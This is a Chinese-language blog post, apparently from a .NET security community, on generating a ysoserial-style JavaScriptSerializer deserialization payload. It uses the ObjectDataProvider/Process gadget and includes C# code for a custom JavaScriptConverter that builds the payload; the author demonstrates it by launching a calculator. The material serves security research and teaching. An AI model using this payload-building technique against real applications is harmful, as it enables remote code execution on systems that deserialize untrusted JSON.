.NET 序列化生成 JavaScriptSerializer Poc

dot.NET安全矩阵星球群有位师傅问起如何才能生成和ysoserial一样的JavaScriptSerializer序列化poc,同Json.NET一样序列化使用了ObjectDataProvider类,ObjectInstance属性绑定实例化的Process对象,这里没有使用MethodParameters属性传递参数,而是使用ProcessStartInfo类FileName和Arguments属性承载外部传入的命令,知道了原理我们尝试序列化出Ysoserial这段攻击载荷,但实践时总抛出异常 System.Reflection.RuntimeModule的对象时检测到循环引用。

解决此问题需要声明一个自定义类继承JavaScriptConverter,本身是abstract抽象类包含成员SupportedTypes,表示获取JavaScriptConverter转换器支持的类型,另外包含序列化和反序列化方法

自定义声明ProcessClassConverter类重写JavaScriptConverter.Serialize方法实现在Dictionary字典中添加自定义的序列化属性。核心代码如下

public override IDictionary<string, object> Serialize(object obj, JavaScriptSerializer serializer)
        {
            if(obj.GetType() == typeof(Process)) {
                var process = (Process)obj;
                var serializedProcess = new Dictionary<string, object>();
                serializedProcess["StartInfo"] = process.StartInfo;
                return serializedProcess;
            }
            else if(obj.GetType() == typeof(ObjectDataProvider))
            {
                var objectDataProvider = (ObjectDataProvider)obj;
                var serializedObjectDataProvider = new Dictionary<string, object>();
                serializedObjectDataProvider["MethodName"] = objectDataProvider.MethodName;
                serializedObjectDataProvider["ObjectInstance"] = objectDataProvider.ObjectInstance;
                return serializedObjectDataProvider;
            }
            else
            {
                var serialized = new Dictionary<string, object>();
                return serialized;
            }
        }

根据输入的对象类型进入不同的序列化条件分支,当前被序列化对象如果是Process,则会将Process.StartInfo属性序列化后存储在为字典的项,如果是ObjectDataProvider,将MethodName、ObjectInstance属性序列化为字典的两个项,目的是根据对象类型执行相应的序列化逻辑,并返回相应的序列化结果。

如愿生成和Ysoserial一模一样的Payload,解答了师傅的疑问。

通过javaScriptDeserialize.Deserialize反序列化下面改造后的JSON,成功弹出计算器

扫描下方二维码关注星球和dotNet安全矩阵公众号,欢迎对.NET安全关注和关心的同学加入我们,在这里能遇到有情有义的小伙伴,大家聚在一起做一件有意义的事。

posted @ 2023-09-06 15:11  Ivan1ee  阅读(65)  评论(0编辑  收藏  举报